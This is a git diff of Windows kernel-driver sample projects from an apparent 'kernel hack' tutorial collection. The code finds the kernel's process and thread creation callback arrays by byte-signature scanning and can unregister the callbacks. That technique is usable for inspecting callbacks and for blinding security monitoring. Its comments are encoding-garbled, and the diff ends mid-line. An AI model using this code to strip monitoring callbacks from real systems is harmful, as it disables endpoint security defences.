// ȡصַ +#ifdef _WIN64 + for (i = 0; i < 64; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateThreadNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = (PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#else + for (i = 0; i < 8; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateThreadNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#endif + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress) +{ + NTSTATUS status = PsRemoveCreateThreadNotifyRoutine((PCREATE_THREAD_NOTIFY_ROUTINE)pNotifyRoutineAddress); + if (!NT_SUCCESS(status)) + { + ShowError("PsRemoveCreateThreadNotifyRoutine", status); + } + return status; +} + + +// ȡ PspCreateThreadNotifyRoutine ַ +PVOID GetPspCreateThreadNotifyRoutine() +{ + PVOID pPspCreateThreadNotifyRoutineAddress = NULL; + RTL_OSVERSIONINFOW osInfo = { 0 }; + UCHAR pFirstSpecialData[50] = { 0 }; + ULONG ulFirstSpecialDataSize = 0; + UCHAR pSecondSpecialData[50] = { 0 }; + ULONG ulSecondSpecialDataSize = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // 488D0D + pFirstSpecialData[0] = 0x48; + pFirstSpecialData[1] = 0x8D; + pFirstSpecialData[2] = 0x0D; + ulFirstSpecialDataSize = 3; +#else + // 32 λ + // BE + pFirstSpecialData[0] = 0xBE; + ulFirstSpecialDataSize = 1; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // 488D0D + pFirstSpecialData[0] = 0x48; + pFirstSpecialData[1] = 0x8D; + pFirstSpecialData[2] = 0x0D; + ulFirstSpecialDataSize = 3; +#else + // 32 λ + // BB + pFirstSpecialData[0] = 0xBB; + ulFirstSpecialDataSize = 1; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // E9 + pFirstSpecialData[0] = 0xE9; + ulFirstSpecialDataSize = 1; + // 488D0D + pSecondSpecialData[0] = 0x48; + pSecondSpecialData[1] = 0x8D; + pSecondSpecialData[2] = 0x0D; + ulSecondSpecialDataSize = 3; +#else + // 32 λ + // E8 + pFirstSpecialData[0] = 0xE8; + ulFirstSpecialDataSize = 1; + // BF + pSecondSpecialData[0] = 0xBF; + ulSecondSpecialDataSize = 1; +#endif + } + + // ȡַ + pPspCreateThreadNotifyRoutineAddress = SearchPspCreateThreadNotifyRoutine(pFirstSpecialData, ulFirstSpecialDataSize, pSecondSpecialData, ulSecondSpecialDataSize); + return pPspCreateThreadNotifyRoutineAddress; +} + + +// ȡ PspCreateThreadNotifyRoutine ַ +PVOID SearchPspCreateThreadNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize) +{ + UNICODE_STRING ustrFuncName; + PVOID pAddress = NULL; + LONG lOffset = 0; + PVOID pPsSetCreateThreadNotifyRoutine = NULL; + PVOID pPspSetCreateThreadNotifyRoutineAddress = NULL; + PVOID pPspCreateThreadNotifyRoutineAddress = NULL; + + // Ȼȡ PsSetCreateThreadNotifyRoutine ַ + RtlInitUnicodeString(&ustrFuncName, L"PsSetCreateThreadNotifyRoutine"); + pPsSetCreateThreadNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); + if (NULL == pPsSetCreateThreadNotifyRoutine) + { + ShowError("MmGetSystemRoutineAddress", 0); + return pPspCreateThreadNotifyRoutineAddress; + } + + // Ȼ, ڷ Win10 ϵͳ, ݵһȡ PspCreateThreadNotifyRoutine ַ; + // Win10 ϵͳ, ȸݵһȡȡ PspSetCreateThreadNotifyRoutine ַ, + // ٸݵڶȡ PspCreateThreadNotifyRoutine ַ. + pAddress = SearchMemory(pPsSetCreateThreadNotifyRoutine, + (PVOID)((PUCHAR)pPsSetCreateThreadNotifyRoutine + 0xFF), + pFirstSpecialData, ulFirstSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory1", 0); + return pPspCreateThreadNotifyRoutineAddress; + } + + // ޵ڶ, Win10 ϵͳ + if (0 == ulSecondSpecialDataSize) + { + // ȡ PspCreateThreadNotifyRoutine ַ +#ifdef _WIN64 + // 64 λ + // ȡƫ, ַ + lOffset = *(PLONG)pAddress; + pPspCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); +#else + // 32 λ + pPspCreateThreadNotifyRoutineAddress = *(PVOID *)pAddress; +#endif + + // ֱӷ + return pPspCreateThreadNotifyRoutineAddress; + } + + // ڵڶ, Win10 ϵͳ + // ȡƫ, ַ + lOffset = *(PLONG)pAddress; + pPspSetCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); + // , PspCreateThreadNotifyRoutine ַ + pAddress = SearchMemory(pPspSetCreateThreadNotifyRoutineAddress, + (PVOID)((PUCHAR)pPspSetCreateThreadNotifyRoutineAddress + 0xFF), + pSecondSpecialData, ulSecondSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory2", 0); + return pPspCreateThreadNotifyRoutineAddress; + } + // ȡ PspCreateThreadNotifyRoutine ַ +#ifdef _WIN64 + // 64 λȻȡƫ, ټַ + lOffset = *(PLONG)pAddress; + pPspCreateThreadNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); +#else + // 32 λֱӻȡַ + pPspCreateThreadNotifyRoutineAddress = *(PVOID *)pAddress; +#endif + + return pPspCreateThreadNotifyRoutineAddress; +} + + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) +{ + PVOID pAddress = NULL; + PUCHAR i = NULL; + ULONG m = 0; + + // ɨڴ + for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) + { + // ж + for (m = 0; m < ulMemoryDataSize; m++) + { + if (*(PUCHAR)(i + m) != pMemoryData[m]) + { + break; + } + } + // жǷҵĵַ + if (m >= ulMemoryDataSize) + { + // ҵλ, ȡһַ + pAddress = (PVOID)(i + ulMemoryDataSize); + break; + } + } + + return pAddress; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..71ece1e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,24 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include + + +// ص +BOOLEAN EnumNotifyRoutine(); + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress); + +// ȡ PspCreateThreadNotifyRoutine ַ +PVOID GetPspCreateThreadNotifyRoutine(); + +// ȡ PspCreateThreadNotifyRoutine ַ +PVOID SearchPspCreateThreadNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize); + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.inf" new file mode 100644 index 0000000..72d9033 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="PsSetCreateThreadNotifyRoutine_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..8dc7fc2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {5079F63F-DAB2-40B3-8C8A-CB1C4B4BC4E1} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + PsSetCreateThreadNotifyRoutine_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..6145310 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\347\272\277\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test/PsSetCreateThreadNotifyRoutine_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.sln" new file mode 100644 index 0000000..a19e01e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PsSetCreateProcessNotifyRoutine_Enum_Remove_Test", "PsSetCreateProcessNotifyRoutine_Enum_Remove_Test\PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj", "{3D6DF258-3168-49CF-B081-7E1362AD05A4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {3D6DF258-3168-49CF-B081-7E1362AD05A4}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.v12.suo" new file mode 100644 index 0000000..e8e5e28 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.c" new file mode 100644 index 0000000..0dc8097 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.c" @@ -0,0 +1,38 @@ +#include "EnumRemove.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ص + EnumNotifyRoutine(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.c" new file mode 100644 index 0000000..6f82052 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.c" @@ -0,0 +1,254 @@ +#include "EnumRemove.h" + + +VOID ShowError(PCHAR lpszText, NTSTATUS ntStatus) +{ + DbgPrint("%s Error[0x%X]\n", lpszText, ntStatus); +} + + +// ص +BOOLEAN EnumNotifyRoutine() +{ + ULONG i = 0; + PVOID pPspCreateProcessNotifyRoutineAddress = NULL; + PVOID pNotifyRoutineAddress = NULL; + + // ȡ PspCreateProcessNotifyRoutine ַ + pPspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutine(); + if (NULL == pPspCreateProcessNotifyRoutineAddress) + { + DbgPrint("GetPspCreateProcessNotifyRoutine Error!\n"); + return FALSE; + } + DbgPrint("pPspCreateProcessNotifyRoutineAddress=0x%p\n", pPspCreateProcessNotifyRoutineAddress); + + // ȡصַ +#ifdef _WIN64 + for (i = 0; i < 64; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateProcessNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = 